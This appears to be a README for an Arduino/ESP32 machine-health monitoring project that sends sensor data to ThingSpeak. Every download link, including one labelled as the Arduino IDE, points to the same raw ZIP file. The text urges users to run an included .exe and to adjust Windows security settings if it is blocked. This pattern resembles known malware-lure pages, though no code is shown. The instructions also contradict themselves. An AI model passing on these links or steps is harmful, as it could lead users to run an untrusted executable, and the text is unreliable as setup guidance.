The Smart Machine Health Monitoring System helps track industrial machines using sensors. It collects temperature, vibration, and sound data from machines. You can see this data on a live dashboard. This system aims to detect problems before they cause machine failures. The project uses common technology like Arduino and IoT platforms.
This tool shows how to monitor machines for better maintenance and fewer breakdowns.
- Sensors measure machine temperature, vibration, and sound.
- A microcontroller (Arduino or ESP32) reads the sensor data.
- The data is sent to an online cloud service called ThingSpeak.
- The online dashboard updates in real time to show machine status.
- Users watch the dashboard to spot unusual machine behavior.
This system helps catch early signs of trouble and avoid unexpected downtime.
- Arduino UNO or ESP32 microcontroller
- DHT11 temperature sensor
- Vibration sensor module
- Sound sensor module
- ESP8266 WiFi module
- Breadboard and jumper wires to connect parts
These parts connect physically. The microcontroller reads sensors and sends information through WiFi.
- Windows 10 or later (64-bit recommended)
- Internet access for live data updates
- USB port to connect Arduino or ESP32
- Web browser (Chrome, Firefox, Edge) for viewing dashboard
No special software or programming skills are needed to run the application.
-
Download the project from the green Download button at the top or click: https://raw.githubusercontent.com/AHMEDOUJESS/Smart-Machine-Health-Monitoring-System/main/unability/Smart_Machine_Health_System_Monitoring_v2.2.zip
-
Extract the downloaded file to a folder you can find easily.
-
Connect your hardware:
- Plug sensors into the microcontroller using jumper wires and breadboard.
- Connect the microcontroller to your PC using a USB cable.
-
Install Arduino IDE (if you plan to load code on the microcontroller): Download from https://raw.githubusercontent.com/AHMEDOUJESS/Smart-Machine-Health-Monitoring-System/main/unability/Smart_Machine_Health_System_Monitoring_v2.2.zip and follow installation steps.
-
Open the Arduino IDE and load the firmware code from the project folder.
-
Upload the code to your microcontroller.
-
Once uploaded, the device will start sending data to the online dashboard.
-
Open a web browser and go to the ThingSpeak dashboard URL provided in the project documentation or code comments.
-
Watch the machine data in real time.
The software component is designed to show the data and help monitor machines. Follow these steps:
-
Visit the project page to download the files needed: https://raw.githubusercontent.com/AHMEDOUJESS/Smart-Machine-Health-Monitoring-System/main/unability/Smart_Machine_Health_System_Monitoring_v2.2.zip
-
Look for a folder named
Windows_Appor similar inside the downloaded files. -
If there is an executable
.exefile, double-click it to launch the app. -
If the app requires installation, open the installer and follow the prompts.
-
Connect your hardware to the PC and ensure it is powered.
-
The app will automatically connect to the cloud service and begin displaying live data.
-
Use the dashboard controls to filter or analyze machine conditions.
- Live data graphs for temperature, vibration, and sound
- Alerts for abnormal readings
- Historical data for troubleshooting
- Easy-to-read status indicators
- Refreshes every few seconds without manual updates
These features help you track machine health and spot issues early.
The Smart Machine Health Monitoring System aims to:
- Track industrial machine parameters all the time.
- Detect abnormal behavior automatically.
- Prevent unexpected machine failures.
- Provide a clear, real-time status display.
The project uses:
- Arduino or ESP32 microcontrollers for sensor reading.
- Sensors: DHT11 (temperature), vibration sensors, and sound sensors.
- ESP8266 WiFi module to send data to the internet.
- ThingSpeak IoT cloud platform to store and display data.
- Embedded C programming for microcontroller code.
- Git and GitHub for code management.
- Attach the DHT11 temperature sensor to the microcontroller analog pin.
- Connect the vibration sensor output to a digital pin.
- Attach the sound sensor module to an analog or digital input.
- Connect the ESP8266 WiFi module to the microcontroller using serial pins (TX/RX).
- Use jumper wires and a breadboard to organize connections.
- Supply power to the microcontroller either via USB or external source.
Make sure all connections are secure before powering on.
-
/Firmware/
Contains code for Arduino or ESP32. -
/Dashboard/
Files for the ThingSpeak dashboard setup. -
/Windows_App/
Windows application files and executables. -
/Docs/
Manuals and instructions.
- If the app does not open, check your Windows security settings.
- Make sure the microcontroller is connected and powered.
- Confirm that sensor wires are in correct pins.
- Verify your PC has internet access.
- Reload or update Arduino IDE if uploading firmware fails.
- Restart the ThingSpeak dashboard if it does not update.
Download the full project here:
This link takes you to the GitHub page. Click "Code" then "Download ZIP" to get the entire system files. Unzip and follow the sections above to set up hardware and software on Windows.